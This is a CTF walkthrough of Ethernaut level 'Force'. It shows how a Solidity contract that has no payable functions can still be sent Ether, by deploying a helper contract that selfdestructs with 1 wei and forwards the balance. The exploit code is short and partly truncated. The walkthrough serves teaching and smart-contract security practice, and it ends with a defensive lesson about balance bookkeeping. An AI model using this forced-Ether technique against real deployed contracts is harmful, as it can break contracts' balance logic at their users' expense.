CTF walkthrough, Ethernaut, #8 Force

To complete this challenge we need to make the balance of the Force contract greater than zero.

 // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /



The contract has nothing in it, except the ASCII-art of a cat. It doesn’t have a receive, fallback function, or any other payable function:

If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception.Solidity docs

At first glance, it looks like we can’t send ETH to it, but actually, we can.

There are 6 ways to send ETH to a contract:

  • via receive
  • via fallback
  • by using payable functions.
  • by receiving miner block rewards – contracts can be recipients of the mining block rewards.
  • contracts can receive ETH even before they are created – we can pre-compute the deployment address using CREATE2.
  • by selfdestruct‘ing a contract – the remaining Ether stored in a contract is sent to a designated address. This is what we are going to use for exploit.


We need a temporary contract that will send its funds to the Force contact on selfdestruct:

contract ForceExploit {
    Force private force;

    constructor(Force _force) {
        force = _force;

    function run() public payable {
        address payable target = payable(address(force));

Now let’s call its run function funding it with just 1 wei. This in turn will selfdestruct the ForceExploit and forward the remaining funds to the Force contract.

function exploit() internal override {

    ForceExploit expl = new ForceExploit(level);
    expl.run{value: 1 wei}();



There are other ways to modify contract’s balance besides your public/external functions. Don’t try to do your own bookkeeping.


Thanks for reading! I’ll leave the code for this level here.

Now let’s look at the CTF walkthrough, Ethernaut, #9 Vault!